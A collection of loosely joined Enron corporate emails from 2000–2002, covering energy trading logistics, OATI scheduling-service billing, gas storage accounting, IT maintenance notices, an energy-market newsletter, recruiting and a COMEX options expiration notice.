     Details: (Hour: 18 / Preferred:  20.00 / Final:  20.76)
  TRANS_DATE: 4/7/01

     Details: (Hour: 18 / Preferred:  12.00 / Final:  11.98)
  INTERCHG_ID: EPMI_CISO_DANTE
     Details: (Hour: 18 / Preferred:  20.00 / Final:  17.22)

     Details: (Hour: 18 / Preferred:   5.19 / Final:   4.99)
     Details: (Hour: 18 / Preferred:  47.46 / Final:  45.67)

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 05/02/2001 
03:07 PM ---------------------------
   
	From:  Jason Sokolov                           05/02/2001 01:18 PM
	
cc:  
Subject: Stuart Hamel's paper

---------------------- Forwarded by Jason Sokolov/HOU/ECT on 05/02/2001 01:18 

"Stuart Hamel" <srhamel@duke-energy.com> on 05/02/2001 12:03:26 PM
To: jason.sokolov@enron.com
cc:  
Subject: paper

(See attached file: paper3.doc)

 - paper3.doc

For what is worth I just wanted to let you guys know that my thoughts and
prayers are with you.  I know that times are pretty tough right now, but you
guys are some of the brightest and most intelligent that I have had the
pleasure of working with and knowing.  I am sure that you will get through
this and the company will, as always, be indebted to you.  Take care and if
there is anything that I can do to help, please feel free to let me know.

Lyndon A. Taylor
Principal
Heidrick & Struggles, Inc.
1221 McKinney, Suite 3050
Houston, Texas 77010
Office: (713) 751-3048
Fax: (713) 751-3018
Cell: (713) 303-3177
VM:  (800) 964-5445
ltaylor@heidrick.com

www.heidrick.com

No.  The last demand charge for 270 was on the August invoice.

12/13/2000 08:46 AM
To: Brenda H Fletcher/HOU/ECT@ECT, Mary Theresa Franklin/HOU/ECT@ECT
cc:  
Subject: Equitrans

Are we still getting a demand charge bill from Equitrans for contract 270?  I 
am still estimating about $5,000 per month.

Should we buy a copy?
 
       Apparently this is quite detailed on how to push deals through the system. 
 
From: Duran, Arleen 
Sent: Monday, August 27, 2001 8:27 AM
To: Bonney, Mark
Subject: FW: Enron's Secrets Revealed - 8/27/01
you can write a book with your "inside view"!! 
From: service@mail.energycentral.com [mailto:service@mail.energycentral.com]
Sent: Monday, August 27, 2001 12:32 AM
To: Duran, Arleen
Subject: Enron's Secrets Revealed - 8/27/01
How has Enron achieved success
in the changing market landscape? 
Enron's Secrets Revealed 
Global Change Associates is pleased to announce the publication of a new corporate profile entitled, "Enron 2001: An Inside View". This objective study takes an insider's look at Enron, specifically, how the firm operates and the keys to its success. Much of the information provided comes from first hand accounts and covers areas such as: 
The firm's structure and operations 
The recruitment and training of new employees 
How Enron empowers and compensates its employees 
The keys to structuring Enron type "risk free" transactions 
How to negotiate with Enron 
Why Enron occasionally forgives counterparty obligations 
Is the Enron model right for your organization? 
Enron 2001: An Inside View is a unique publication. It provides valuable insight into the firm's operations and analyzes its successes and failures. For those firms dealing directly with Enron, or thinking about adopting some of Enron's business practices, it is an invaluable, must have tool. 
This innovative study is available for purchase at $995.00. 
Special Bonus: Purchase this report before August 31, 2001 through Energy Central and you will receive a six-month individual subscription to the Daily Electric Power News for free. Already a subscriber? Not a problem, you will receive a six-month extension on your current individual subscription. 
  _____  

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Review Table of Contents  <http://www.energycentral.com/sections/research/research_gca_toc.cfm>
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This message is brought to you as a registered user of Energy Central. If you wish to discontinue receiving this type of message, reply to this message with 'Stop Ads' in the subject of your message. 
  <http://www.energycentral.com/global/email_track.cfm?id=10007>

Hey guy - Ted's going swimming & can be there a little after after 8:30 - 
I'll be at the gym until 8.  Any chance that would fit into your schedule?

Can Swapco buy an existing bank account from ENE, pay $5000 and sign a bank account sale document in the process?

1400 Smith Street - EB3892
Houston, Texas 77008
(713)646-3490 (fax)

The Savings Plan Transition Period Ends Early!

We have been working closely with Hewitt Associates to get you access to your Savings Plan account before November 20 and are pleased to announce that the internet site went live as of 8:00 AM yesterday morning, November 13. 

Log on to benefits.enron.com and check out the new website - you will enjoy the new features.

Once again, we have appreciated your patience during the transition period.  

EnronBenefits . . . keeping pace with your lifestyle.

---------------------- Forwarded by Jim Schwieger/HOU/ECT on 03/22/2001 03:07 PM ---------------------------

Jim Schwieger
10/02/2000 03:55 PM
To:	Jim Coffey/HOU/ECT@ECT
cc:	 
Subject:	Working Gas - Triple Lutz

Jim,
I wanted to clarify that we will still be pulling gas out of the ground in Febr & March.  The Stg Book has always recorded hedgable volumes of 56.5 BCF.   This is the difference between 117.5 BCF and 61 BCF.  The Acctg Books have always recorded the working gas as everything above I believe 70 BCF.  So when David says working gas will be -0- by January 31, 2001 he is correct but we will be drawing down on what the Acctg Books have recorded as Cushion Gas.

	Swig
---------------------- Forwarded by Jim Schwieger/HOU/ECT on 10/02/2000 03:32 PM ---------------------------
   
	Enron Capital Management  From:  David Baumbach                           10/02/2000 01:23 PM	
		
cc:	Jim Schwieger/HOU/ECT@ECT, Edward D Gottlob/HOU/ECT@ECT, Brenda F Herod/HOU/ECT@ECT, Steve Jackson/HOU/ECT@ECT 

According to the Cost of Inventory Schedule there will be no Working Gas in the ground at the end of January.  That is assuming we have actually withdrawn what we have booked.

Dave

I had to put all my OATI files in a secure non-UBS place, but it is 600 per month for up to 15 users, and 100 a month flat fee for faxing.

They are going to raise the rate to 750 per month to pay for the e-tag 1.7 upgrades.

My contact at OATI is Frank.Billington@oatiinc.com

or  kevin.burns@oatiinc.com

Thanks,

Cara

Sent:	Monday, February 04, 2002 5:10 PM
To:	Semperger, Cara
Cc:	Hall, Bob M; Purcell, Mike
Subject:	FW: OATI SERVICES

Cara,

Can you please provide the latest contract terms we have with OATI for the West.  I would think that we too could reduce our # of users and Tags being printed every month.

Thanks for your assistance - MO

From: 	Will, Lloyd  
Sent:	Monday, February 04, 2002 5:52 PM
To:	May, Tom; Baughman Jr., Don; Bentley, Corry; Allen, Thresa A.
Cc:	Bailey, Debra; Hall, Bob M; Racicot, Paul; O'Neil, Murray P.; Suarez, John
Subject:	RE: OATI SERVICES

ENSE, MDEA and East Power was $5425 for last month.  I'm trying to reduce the number of users and services that we don't require.  In the end the cost should be significantly less than this number.

The west has their own arrangements with OATI.  

You will not require anything for the change over to etag 1.7 in march as OATI will take care of this as part of their services.

Kevin Burns from OATI will be in Houston on Feb 13th from 1-3 to discuss UBS services required and I would recommend that you have some one sit down and review the services that you will need going foreward.

Hope this helps. 

For passwords you can contact Don for MDEA & EPMIEA and Eric has the Genco ones.

Thanks.

From: 	May, Tom  
Sent:	Monday, February 04, 2002 5:40 PM
To:	Will, Lloyd; Baughman Jr., Don; Bentley, Corry; Allen, Thresa A.

Lloyd,

Paul and I are meeting with Bob Hall tomorrow morning to sort out what resources we need.  What is the cost per account for these and do these include Portland requirements as well?  Also, what do we need to do for the changeover to the new scheduling system in March?  

Tom.
Sent:	Monday, February 04, 2002 5:35 PM
Cc:	Bailey, Debra; Hall, Bob M

Corry, Don, Theresa and Tom.

I have asked OATI to reduce the number of accounts from 40 to 10 to reduce the costs for the estate.  Therefore I recommend we go down to the following accounts Enron01-10.

Please reply ASAP.

Thanks

From: 	Mary Tollefson <Mary.Tollefson@oatiinc.com>@ENRON  
Sent:	Monday, February 04, 2002 4:37 PM
To:	Will, Lloyd

Lloyd,
I am going to attach a document that contains the 40 users for EPMIE.
Please let me know which 30 users you would like me to delete, and I will
take care of that for you.  I will also let my billing department know to
change all of the contact information on your invoices to what you have
stated below.  Do you know if these are going to be the Entity names that
you will be using for UBS AG or will they be different.  Just let me know.
If you could let me know which users you would like deleted, I will get this
taken care of for you. [May, Tom]  	 
Thank you,
Mary Tollefson
Support Technician
Open Access Technology Int'l, Inc.
(763) 553-2725 Phone
(763) 553-2908 Fax
Mary.Tollefson@oatiinc.com

	CONFIDENTIAL INFORMATION:  This email and any attachment(s) contain
confidential and/or proprietary information of Open Access Technology
International, Inc.  Do not copy or distribute without the prior written
consent of OATI.  If you are not a named recipient to the message, please
notify the sender immediately and do not retain the message in any form,
printed or electronic.

From: Will, Lloyd [mailto:Lloyd.Will@ENRON.com]
Sent: Wednesday, January 30, 2002 6:34 PM
To: support@oatiinc.com; Kevin Burns (E-mail)
Cc: Miller, Don (Asset Mktg); Hall, Bob M; Serio, Erik; Lenartowicz,
Chris; Poppa, John D; Nat, Steve; Duran, W. David; May, Tom; Presto,
Kevin M.; Belden, Tim; Baughman Jr., Don; Bentley, Corry; Bailey, Debra;
Allen, Thresa A.; Grace, Rebecca M.; Jim Steffes (E-mail)
Subject: OATI SERVICES

In regards to the billing of Enron related OATI services please complete the
following starting February 1st.

Entity EPMIE - Enron Power Marketing, Inc.  PSE Name EPMIEA.
Please change the billing contact from Lloyd Will to Bob Hall (7138536956),
the billing address is the same.  Please also reduce the number of accounts
from 40 to 10.

Entity MDEA - Mississippi Delta Energy Agency.  PSE Name MDEA.  Please
change the billing contact from Lloyd Will to Bob Hall (7138536956), the
billing address is the same.
OATI WebOasis tool Please change the billing contact from Lloyd Will to Bob
Hall (7138536956), the billing address is the same.  (Used for TVA, Big
Rivers, Associated & East Kentucky.)

Entity ENSE - Enron SE .  CA Name ENNA  We no longer have these control
areas but require access to the account for final reporting reasons.  Please

Please contact me at 713-853-3383 with any coordination or additional
details.

Thanks.

Thank you.

Beth,

I could not open the document.

Vince

	From:  Beth Miertschin                           05/31/2000 01:51 PM
	
To: Kevin Ruscitti/HOU/ECT@ECT, Tom Adams/HOU/EES@EES, Harold 
Bertram/HOU/ECT@ECT, Ted C Bland/HOU/ECT@ECT, W Tom Byargeon/HOU/ECT@ECT, 
Rogers Herndon/HOU/ECT@ect, Kevin McGowan/Corp/Enron@ENRON, Cindy 
Skinner/HOU/ECT@ECT, Mark Tawney/HOU/ECT@ECT, Greg Woulfe/HOU/ECT@ECT, 
Matthew Arnold/HOU/ECT@ECT, Keith Holst/HOU/ECT@ect, Elspeth 
Inglis/Corp/Enron@Enron, Kim Melodick/HOU/ECT@ECT, Sheila Walton/HOU/ECT@ECT, 
Janet R Dietrich/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT, Vince J 
Kaminski/HOU/ECT@ECT, George McClellan/HOU/ECT@ECT, Julia Murray/HOU/ECT@ECT, 
Jere C Overdyke/HOU/ECT@ECT, Jeffrey A Shankman/HOU/ECT@ECT, Fran L 
Mayes/HOU/ECT@ECT, Dave Hill/Corp/Enron@Enron, Brad McSherry/HOU/ECT@ECT, 
Toni Graham/Corp/Enron@Enron, James A Ajello/HOU/ECT@ECT, Phillip K 
Allen/HOU/ECT@ECT, Edward D Baughman/HOU/ECT@ECT, Sally Beck/HOU/ECT@ECT, Bob 
Crane/HOU/ECT@ECT, David Oxley/HOU/ECT@ECT, Kevin M Presto/HOU/ECT@ECT, 
Daniel Reck/HOU/ECT@ECT, Hunter S Shively/HOU/ECT@ECT, Cedric 
Burgher/Corp/Enron@ENRON
cc: Ginger B Gamble/HOU/ECT@ECT, Shelly Jones/HOU/ECT@ECT 
Subject: Super Saturday Interviews

The following items was presented in this week's corporate change control....
Jan 10
From 10:00 a.m. - 1:00 p.m., the Messaging team will upgrade mailsweeper servers NAHOU-MSMSW03P and  NAHOU-MSMSW06P to version 4.2_8.  No impact is expected.

Jan. 12
From 11:00 p.m. through 1/13 at 2:00 a.m., ENS backbone will replace the primary clock on the 172.16.7.0 server segment.  This switch is located in the old ECT 34th floor section of the raised floor.  All servers connected to this switch will have an outage of approximately three hours.  No impact to ETS users is expected.

Jan. 14	
From 12:00 p.m. through 1/15 at 12:00 p.m., the SAP team will move the XMS database from Seattle to Denver.  During this maintenance, the web-based XMS (employee expense) system will be unavailable.

Jan. 22	
From 5:00 p.m. through 1/27 at 5:00 p.m., the ETS server team will coordinate the move of the Envision system from 3AC to the Ardmore data facility.    During this move the Envision system will not be available.  Some of the applications affected by this outage include: Corporate-wide applications accessing the Envision web query, FileNet Panagon IDM Desktop, FileNet  IDM for R3, Panagon Capture professional.  Users will be able to access IBuyit and IPayit from SAP but will not be able to view invoices.

ETS Solution Center - Houston, at 713-345-4745
ETS Solution Center - Omaha, at 402-398-7454

Learn about SCIENTECH'S most popular competitive tools, including the Mergers
and Acquisitions, Telecommunications, and E-Commerce InfoGrids at:

===============================================================
SCIENTECH IssueAlert, November 16, 2000
Europe May Need 69,000 MW by 2005; What Generation Mix Will the Continent
Use to Reach that Goal?

Demand growth for electricity in European countries over the next five
years may prompt the need for an additional 69,000 MW of generating capacity
to be built, according to a new report from Financial Times Energy. The
additional capacity includes the proposed capacity for Spain through 2004,
but also includes Finland, France, Germany, Sweden, and the United Kingdom.
At the same time, concerns about supply and demand in Europe are being
exacerbated by Germany's plan to reduce its reliance on nuclear power.

ANALYSIS: If FT Energy's projections for necessary generation additions
in Europe are accurate, I think there are some real challenges that the
Continent will face in reaching this goal. First off, for perspective,
let's be clear on the amount of generating capacity that FT Energy is claiming
Europe will need by 2005. The figure of 69,000 MW is roughly equivalent
to the generating capacity in the state of California or the ERCOT system
in Texas. When we consider also that the United States consumes about double
the amount of power that Europe consumes, the projection that Europe will
need an additional 69,000 MW of new generating capacity is a staggering

Granted, like other developed areas of the world, Europe's energy consumption
has grown over the last two years. According to data included in its report,
FT Energy claims that demand for power in Europe has risen from 2,409 
terrawatt-hours
(TWh) in 1998 to 2,446 TWh in 1999, an increase of about 1.5 percent per
year. While this may seem like a minimal increase, it is important to note
that in some European markets growth has exceeded that average. For instance,
estimated new capacity additions through 2005 are mainly concentrated in
Spain, France, Germany and Sweden. The growth in demand, coupled with market
liberalization, has created many opportunities in Europe for the construction
or purchase of generation assets.

Although reportedly 60 percent of the electricity market across Europe
has been liberalized to date, the Continent remains rather disjointed as
it is composed of 16 national markets that are all approaching privatization
at different speeds. The United Kingdom and the Netherlands began their
privatization movements in the early 1990s. Spain required its state-owned
utility companies to begin divesting their assets in February 1999, a process
that will continue through 2007. Germany decided to open 100 percent of
its market all at once in April 1998. And France resisted efforts to 
privatize,
and only began to liberalize its market under pressure from the European
Union. Consequently, although Europe may in fact need the 69,000 MW of
new generating capacity that FT Energy has projected, the type and extent
to which new generating capacity will be built in Europe will depend on
the energy policy of each independent nation. A variety of restrictions
may be found that will limit the opportunities to generate this huge amount
of capacity.

Each European country is developing its own policy toward privatization
and, by extension, its approach to generation development. I can't examine
the policy of each country in this forum, but I think a look at Germany
is warranted, both because it is a major component of Europe's total energy
market and because Germany poses some interesting dilemmas that will impact
the Continent as a whole.

Germany has largely been considered the crown jewel of European deregulation,
due to the fact that the totality of the German market has been opened
to competition. It follows that generation coming from Germany should 
contribute
a large percentage of the Continent's future power needs. However, a large
percentage of Germany's power has come from nuclear power, but that has
all changed over the last year. After the Social Democratic Party formed
a coalition with the antinuclear Green Party, nuclear energy became an
unacceptable energy source. The German government has essentially put a
moratorium on nuclear power, and in fact decided to eventually shut down
19 nuclear power plants in the country. Just last month, Germany's two
largest power producers, RWE AG and E.ON AG, announced plans to cut output
from their nuclear plants as a reaction to the squeeze on prices that has
developed since Germany liberalized its market. The measures amount to
a reduction of about 10 percent in Germany's overall power generating 
capacity.

Moreover, nuclear energy has generated over one-third of Germany's nearly
500 billion kilowatt-hours of annual electricity demand, and one-third
of Western Europe's total electricity supply. As the future of nuclear
power in Germany looks rather dim, big questions surround what will replace
nuclear as a power source in this country that is critical to Europe's
energy industry.

Coal currently produces about 50 percent of the power generation in Germany,
but as a result of the country's attempts to lower emissions, coal also
appears to be on a decline. Also, in Germany, as in the rest of Europe,
coal-industry subsidies will come to an end as early as 2005, making it
less economical to invest in coal-fired plants. At the same time, other
countries like France are exploring clean-coal technologies, but it is
questionable how much this production will contribute to the overall demand
across the Continent.

Generally, natural gas has been considered the ascending fuel that will
take the place of nuclear power in Europe, given the seemingly abundant
supplies of natural gas in Russia and the North Sea. However, as demand
across other continents such as Asia and Africa also increases, this may
impact the prospects of securing natural gas in Europe. In addition, there
are no effective rules across Europe for third-party access to private
pipeline grids, also putting into question the future of natural-gas supplies.
Also, as we have seen in the United States, as demand for natural gas 
increases,
so will the prices, which could impact the viability of natural gas a primary
power source.

As a result, much of the attention in Europe has turned toward renewable
energy. In fact, the German government wants to double renewable energy
output to 10 percent of total energy demand by 2010, using such forms as
hydroelectric and wind power. This seems consistent with what the rest
of Europe is doing. The United Kingdom also said that it wants to generate
10 percent of its electricity from renewable resources by 2010. Scandinavian
countries already have become predominantly based in renewable and 
low-emission
forms of energy, with hydroelectric power comprising more than half of
the Nordic region's total electricity production.

Wind power in particular is being given a great deal of attention in Western
Europe, with projects in Germany, Denmark and Spain ranking among the 
fastest-growing
in the world. Again, according to the U.S. DOE, wind power is projected
to grow by 1.9 percent per year in Western Europe. This growth prospective
is pretty dismal, and casts doubt on whether or not renewable energy will
be sufficient to meet the demand in Europe. Renewable energy works fine
when planning overall energy needs, but it rarely can be relied on to meet
peak demand. The laws of nature ensure that wind blows when it wants to
and the sun shines when it wants to, which can make peak planning based
on renewable energy difficult if not impossible. This being the case, many
critics say Europe's current move toward renewable energy is completely
unrealistic, arguing that it would take nearly 2,000 wind turbines to equal
one nuclear plant. In addition, the growth for renewable energy is plotted
over the course of ten to fifteen years. FT Energy marks the year 2005
as the point at which Europe will need the additional 69,000 MW of generating
capacity.

In addition, despite the fact that coal-fired generation poses pollution
problems, it is still a comparatively low-cost form of generation. This
will make it difficult for renewable energy sources to emerge in the absence
of a strong worldwide commitment. The U.S. Department of Energy projects
only a moderate increase in hydroelectric and other renewable forms of
energy through 2020, just enough for renewable energy sources to maintain
a slim 8-percent share of the total world energy consumption.

So what is the answer to this contradiction between the apparent need for
new generating capacity in Europe and the restrictions on power sources
that could help the Continent to reach its supply needs? First, keep in
mind that I've focused on Germany because it plays such a pivotal role
in Europe as a whole. However, the restrictions on nuclear power are not
necessarily indicative of the approach of other European countries. For
instance, the neighboring Czech Republic is embracing nuclear power by
opening a plant in Temelin. The question is, without Germany's contribution
of nuclear power, will Europe be able to derive enough capacity from other
power sources and other countries? Although the 69,000 MW goal seems very
ambitious, Europe as a whole may get closer to this goal through the use
of merchant plants. As competition continues, wholesale power buyers are
demanding shorter-term contracts, which in turn is supporting a growing
trend toward merchant plants throughout the Continent. Presently, only
the United Kingdom has moved aggressively to merchant power, but there
are signs that the trend is extending to Italy, Spain, the Netherlands,
and even Germany. In addition to compensating for the move away from nuclear
power, merchant plants could also support a renewed growth of Europe's
natural-gas market. Yet, as we have seen in California, the plant siting
process offers its own array of regulatory hurdles, and it is not clear
if European governments will facilitate plant siting in various countries.
Plus, the merchant plants that are being discussed are all primarily 
natural-gas
fired, which again raises risks of relying so heavily on one power source.

Moreover, just as North America enters what could be a very volatile winter
due to our own brand of energy supply problems, we are finding that the
problem is not limited to our part of the world. It is, of course, unknown
if Europe will meet its additional supply projections of 69,000 MW by 2005.
Yet, at the same time, it is clear that demand on the Continent continues
to rise while traditional forms of power supply are on the decline.
Learn more about SCIENTECH's Issues and Analysis products and services
at:
http://www.consultrci.com/web/rciweb.nsf/web/Depts-IA.html
==============================================================

Will McNamara
wmcnamara@scientech.com
Feedback regarding SCIENTECH's IssueAlert should be sent to 

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Richard:

Karen is working on getting the contact information together.  Will Denise fill in the blanks on Cross Default Amounts, Credit Protection, Collateral Threshold, Downgrade Events, etc.?  Thanks.

Scott

From:	Richard Ring/ENRON@enronXgate on 10/03/2001 10:41 AM
To:	Scott Franck/HOU/EES@EES
cc:	 
Subject:	RE: A'Lones Group

Scott,

Karen Cordova should be able to provide you with all of the "contact information" for the cover sheet.  The distribution list for approval of the documents should include Legal, Desk (myself) and Credit (Denise Furey).

Richard

From: 	Franck, Scott  
Sent:	Wednesday, October 03, 2001 10:34 AM
To:	Ring, Richard
Subject:	Re: A'Lones Group

Richard:

I am getting very near completion.  Do you know who would be able to provide all of the contact information that goes on the cover sheet?  Also, who is on  the distribution list for approval of the documents prior to shipping to A'lones?  Thanks.

Scott

From:	Richard Ring/ENRON@enronXgate on 10/03/2001 09:50 AM
cc:	 
Subject:	A'Lones Group

Scott,

What is the status of your efforts regarding the A'Lones Group documents?

Richard

Walt, the East Lake proposal sounds great IF it fits into your schedule.  I plan to return to Houston either Wednesday morning or Wednesday afternoon, depending on whether we do or do not play East Lake.  Please do not reschedule any meetings you have just to enable us to play Wednesday morning-- Austusta will certainly have been excitement enough.  I am leaving Houston tomorrow morning and will not be able to check e-mail after this afternoon, so if you need to reach me drop me a voice mail at 713-853-5550. All the best.  Jim  

From: 	"Driver, Walt" <wdriver@KSLAW.com>@ENRON [mailto:IMCEANOTES-+22Driver+2C+20Walt+22+20+3Cwdriver+40KSLAW+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, May 07, 2001 2:43 PM
To:	Meadows, Robert; Derrick Jr., James
Subject:	Augusta

Here's the drill.
I understand that Jim will come here on Sunday night. We'll book him a room
at the Atlanta Ritz-Carlton, right next to the office.
Bobby will arrive Monday in time for lunch and we'll set up a few people
anxious to talk to Jim after lunch.
We will leave here about 4:15 to arrive and drive down Magnolia Lane at 6:30
p.m. Take a tour, have a putting contest or whatever, drinks and dinner.
Next morning we'll play 18, have lunch and play either the par 3 or another
nine, then leave about 4:30 to get Sam back to Atlanta in time for a dinner
he has here that night.Jim and Bobby could catch any plane after about 9 or
spend the night here. Let us know if you want hotel reservations for Tuesday
night. If so, do you want to play East Lake Wed. a.m.?
NO SHORTS,ONLY LONG PANTS at Augusta.
I think no cell phones, too. I have the caddies yardage book, which the
three of us can memorize on the way over.
Sam shot 69!!!! last weekend at a nearby course, so we'll see if the secret
can stay around that long.
This will be great fun and we are all looking forward to it.

This message is being sent by or on behalf of a lawyer.  It is intended exclusively for the individual or entity to which it is addressed.  This communication may contain information that is proprietary, privileged or confidential or otherwise legally exempt from disclosure.  If you are not the named addressee, you are not authorized to read, print, retain, copy or disseminate this message or any part of it.  If you have received this message in error, please notify the sender immediately by e-mail and delete all copies of the message.

John:

Do you need Accumap day one?  Carmen said that it had not been renewed so do you have access to it now?  
If you do need an account how many and for who?

thanks,

Danielle 

FYI....

I changed the west and performance books to your name on the rac website.

Kathy,

Enron will be represented by myself (Vince Kaminski) and Kenneth Parkhill.

Vince

Kathy Spradling <spradlin@rice.edu> on 01/05/2001 05:04:21 PM
cc: chamberl@rice.edu, castro@rice.edu, spradlin@rice.edu=20
Subject: Action Learning Project Information

Dear Company Representative,

We are pleased to announce that your company=01,s proposal has been selecte=
d
as a potential project in the Jones Graduate School of Management's Action
Learning Project (ALP) Program.  As indicated in the ALP brochure, company
representatives are invited to attend the ALP Program Introduction and
Student Networking Session on Wednesday, January 10.  Please RSVP to Kathy
Spradling, MBA Program Coordinator, at 713-348-3313 or e-mail her at
spradlin@rice.edu by Monday, January 8 to let her know if you plan to
attend the session.  Please provide your company name and the names of
representatives attending the session so nametags can be prepared.  Dress
is business casual.  Below is the schedule of events:

8:30  9:00 a.m.
?       Continental Breakfast and setup of your company table
?       Farnsworth Pavilion (located in Rice Student Center)

9:00  9:45 a.m.
?       Introduction and Program Overview with company representatives, ALP
administration and faculty liaisons

10:00  12:00 p.m.
?       Student Networking Session with company representatives and
first-year students
?       Grand Hall (located in Rice Student Center)

The ALP Program Introduction and Student Networking Session will be held in
the Rice Student Center (numbers 10 and 11 on the campus map sent with your
acceptance letter).  Please contact Kathy Spradling if you need an
additional map faxed to you. There is a large amount of construction taking
place on campus.  Once the Visitor=01,s lot near the Rice Memorial Center i=
s
full, we recommend you park in the stadium lot in the designated Visitor
area and take the shuttle bus to the Rice Memorial Center.  Make sure to
let the bus driver know your destination.

The MBA Program Office has reserved the Grand Hall for the Student
Networking Session.  Each company represented will have a table set up with
signage for your company.  You may bring additional materials you feel
might be of interest to students such as company brochures, articles and
packets. Due to the limited space, we are discouraging the use of display
boards in the networking session.  Unfortunately, no internet connections
will be available for use during the session.

Again, thank you for your interest in Rice.  We look forward to working
with you, and hope to see you on Wednesday, January 10.

Carrie Miller
Pam Castro
Kathy Spradling

Kathy M. Spradling
MBA Program Coordinator
Jesse H. Jones Graduate School of Management
6100 Main Street, MS 531
Houston, Texas  77005-1892
Phone:  (713) 348-3313
Fax:  (713) 348-5251
Email:  spradlin@rice.edu
http://www.rice.edu/jgs
E-mail:  spradlin@rice.edu
http://www.ruf.rice.edu/~jgs/

On this request, I meant "Users", not "readers, so he can have edit access.

	05/15/2001 11:57 AM
		 
		 cc: 
		 Subject: Request Submitted: Access Request michael.slade@enron.com

http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000034919&Page=
MyReq.

Hi, Clem!  Please see below message from Sheila Glover.  I believe that in 
the past ENE has only issued a guaranty to Paribas, ED&F Mann and Bank One in 
connection with ENA's futures/special margin arrangements.  I'll be speaking 
with Paul Radous in credit.  Do you see any issues here?  Sara
----- Forwarded by Sara Shackleton/HOU/ECT on 07/31/2000 08:08 AM -----

	William S Bradford
	07/28/2000 07:31 PM
		 
		 To: Paul Radous/Corp/Enron@ENRON
		 Subject: Margin leverage and Enron Guarantee

Paul,

Can you work with Sara on this?

Bill

---------------------- Forwarded by William S Bradford/HOU/ECT on 07/28/2000 
07:31 PM ---------------------------
   
	From:  Sheila Glover                           07/28/2000 01:23 PM
	
To: William S Bradford/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT
cc: Jeff Kinneman/HOU/ECT@ECT, John Greene/HOU/ECT@ECT, Gary 
Hickerson/HOU/ECT@ECT 
Subject: Margin leverage and Enron Guarantee

Bill and Sara,
We have been talking with Goldman Sachs, one of ECT Investment's prime 
brokers,  about ways to reduce our margin requirement and gain greater 
leverage.  Goldman suggested that we may want to consider putting an Enron 
Guaranttee in place.  

We also have a prime broker agreement with Morgan Stanley.  Per the 
documentation that I have... I do not see a guarantte with Morgan Stanley.

1) Can you confirm that no guarantee exists with either Goldman or Morgan?
2) Any comments regarding a Goldman guarantee by Enron Corp for ECT 
Investments Inc.?

Thanks, Sheila

yeah i know, but admit you laughed.  

From: 	Gillette, Lisa  
Sent:	Thursday, May 24, 2001 1:58 PM
Subject:	RE: this is mean but funny

that is so mean!!

Sent:	Thursday, May 24, 2001 11:58 AM
To:	'jarx@pge.com'; 'tlenhart@corealty.com'; Mena, Luis; Hull, Bryan; Bass, Eric; Lisk, Daniel; Gillette, Lisa; 'kevin.a.boone@accenture.com'
Subject:	this is mean but funny

Travis:

I have been in contact with the Calgary office on this transaction.  Mark 
Powell is working on the deal and he will provide me with a copy of the 
documentation if and when this is finalized.  I also spoke to Bill Bradford 
yesterday to update him on the legal status of this.

Jeff

	Travis McCullough
	02/28/2001 07:46 PM
		 
		 To: Mark E Haedicke/HOU/ECT@ECT, Elizabeth Sager/HOU/ECT@ECT, Jeffrey T 
Hodge/HOU/ECT@ECT
		 cc: 
		 Subject: PG&E Gas Sales - FYI

FYI -- PG&E has asked to purchase March gas from Enron Canada on a prepaid 
basis.  Bill Bradford approved the transaction, but wanted to give the legal 
department an opportunity to stop the deal if we saw any issues. Given that 
this is an arms-length transaction on market terms, there isn't much risk 
that we have participated in a fraudulent transfer.  Nor is there really a 
"preference" issue (the transaction doesn't involve a payment for an 
antecedent debt) that would require us to disgorge the payments in the event 
of a subsequent filing.  Finally, as we are paid cash up front we shouldn't 
have any credit or security issues.   Assuming the traders are happy with the 
economics of the deal, I see no reason why we shouldn't be willing to deal 
with PG&E if we are paid cash up front.         

Vince:

I did get your phone message about the summer, but I still haven't heard from 
Enron about an offer for summer employment.  I do have other offers with 
other energy companies that I must respond to this week.  Could you let me 
know as soon as possible if an offer will be made to me.

Kimberly Whitsel
Wharton MBA Candidate 2002

I will send this to them, since they are not on the distribution.

Thanks, Ricki

From: Corman, Shelley 
Sent: Wednesday, February 13, 2002 1:42 PM
To: Winters, Ricki
Subject: Re: FW: Dan Dienstbier's Staff Meeting

Lynn and Steve will attend for me.

*REVISED*
Notice No. 00-408
December 7, 2000

TO:  All COMEX Members/Member Firms
All COMEX Clearing Members
All COMEX Floor Traders
All COMEX Operations Managers

FROM: Michael Campanelli, Vice President
  Floor Operations, COMEX Division

RE:  Options Expiration Operational Procedures for the Trading Floor and=20
Clearing
Members

The expiration date for the January 2001 options contract for Silver (SO F0=
1)=20
and Gold (OG F01) is Friday, December 8, 2000.

 GENERAL OPERATIONAL PROCEDURES

All Clearing Members and Qualified Floor Traders that carried an options=20
position as of the close of business day prior to the expiration day, or=20
engaged in trading activity on Expiration Day in the expiring options=20
contract will be required to have a knowledgeable, duly authorized on-line=
=20
trade entry ("OLTE") system trained representative available until released=
=20
by the Exchange staff.  All adjustments  and/or corrections, must be=20
accompanied by relevant supporting documentation prior to being incorporate=
d=20
into expiration processing.  In essence, making the expiration processing a=
n=20
extension of the afternoon trade resolution procedures.

Exchange Clearing (299-2110) and Trade Processing (299-2465 and 299-2044)=
=20
personnel will be available to assist with the processing of notices of=20
Exercise and Abandonment, position transfers, trade corrections and other=
=20
questions or problems you may have.

Failure by any Clearing Member or qualified Floor Trader to comply with=20
procedures as outlined herein may result in severe disciplinary action by t=
he=20
Exchange and potential financial liability to customers or members for=20
failure to exercise diligence in the processing of information.

TRADING FLOOR OPERATIONAL PROCEDURES

Trading in the January 2001 Silver and Gold Options Contracts will cease at=
=20
2:25 P.M. and 2:30 P.M. respectively on December 8, 2000.  All Brokers and=
=20
Traders must inform their Clearing Members of their intentions to exercise =
or=20
abandon such Options by 4:00 P.M.

On Friday, December 8, 2000, all Brokers and Clearing Members must have a=
=20
duly authorized, On-Line Trade Entry ("OLTE") system trained representative=
=20
available until such time as the Exchange deems necessary.

NOTE: After 4:30 P.M. all expiring option trade data must be inputted on=20
special "OLTE" terminals located in the Trade Processing Room. Any other=20
means of submission will be rejected by the Exchange.  Members will be able=
=20
to submit all other trade data until 5:00 P.M.

After the UTR and the Preliminary Spot Month Matched Trade Reports are=20
displayed, Clearing Member representatives will be able to pick up their=20
Preliminary Clearing reports at the Clearing Department.

A final review of all submissions will be made, the Supervisor of the Trade=
=20
Processing Room will detain only those Clearing Members and/or Broker=20
